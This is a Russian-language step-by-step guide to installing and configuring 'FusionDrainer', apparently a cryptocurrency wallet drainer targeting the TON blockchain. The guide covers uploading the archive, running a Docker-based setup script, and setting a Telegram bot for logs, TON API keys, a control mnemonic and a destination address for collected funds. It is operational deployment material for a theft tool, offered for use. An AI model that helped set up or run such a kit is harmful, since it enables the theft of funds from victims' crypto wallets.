Установка сервера
1. Загрузка архива FusionDrainer на сервер
- Откройте Termius и подключитесь к вашему серверу.
- Откройте SFTP-клиент в Termius (выберите сервер и нажмите на значок файлового менеджера).
- В SFTP-клиенте найдите файл fusion-drainer-main.zip на вашем компьютере.
- Перетащите архив fusion-drainer-main.zip на сервер в папку, куда вы хотите установить FusionDrainer (например,
/root
).
2. Распаковка архива и переход в нужную папку
В терминале Termius выполните следующую команду для распаковки архива:
bashunzip fusion-drainer-main.zip
Перейдите в папку с распакованными файлами:
bashcd fusion-drainer-main
3. Дайте права на выполнение скрипта
Для того чтобы запустить скрипт установки, выполните следующую команду:
chmod +x runner.sh
Это даст права на выполнение скрипта runner.sh.
Без выполнения этой команды скрипт не запустится.
4. Переименование файла конфигурации
- В SFTP-клиенте Termius найдите файл config.example.yaml.
- Щелкните на файле и выберите "Rename".
- Переименуйте файл в config.yaml.
5. Настройка файла config.yaml
Теперь нужно настроить файл config.yaml.
- В SFTP-клиенте Termius щелкните на файл config.yaml и выберите "Edit".
- Измените следующие параметры:
API настройки:
api:
base_url: "https://example.com" # Вставьте ваш базовый URL (например, https://yourdomain.com)
Настройки Telegram бота:
telegram:
bot_token: "123:XXX..." # Вставьте токен вашего бота из BotFather
fallback_logs_chat_id: "-1234567890" # Вставьте ID чата для логов
system_alert_chat_id: "-1234567890" # Вставьте ID чата для системных оповещений
whitelist:
- 123456789 # Важно: символ "-" обязателен перед каждым ID пользователя
Настройки TON API:
ton:
tonCenterKey: "..." # Вставьте ваш API ключ TON Center
tonApiKey: "..." # Вставьте API ключ TonAPI
mnemonic: "soup soul plug ..." # Вставьте вашу мнемоническую фразу для управления смарт-контрактами
destination: "UQ..." # Вставьте адрес для отправки средств
После внесения изменений сохраните файл.
6. Установка и запуск FusionDrainer
Когда файл конфигурации настроен, можно установить и запустить сервер:
В терминале Termius выполните команду для запуска скрипта:
bash./runner.sh
Скрипт выполнит следующие действия:
- Установит Docker, если он еще не установлен.
- Запустит все необходимые контейнеры для работы сервера.
💡 Совет: Не прерывайте процесс установки, чтобы избежать ошибок.
Теперь сервер FusionDrainer установлен и готов к работе.
Важно:** После завершения установки проверьте правильность настроек и убедитесь, что API ключи и другие параметры настроены корректно.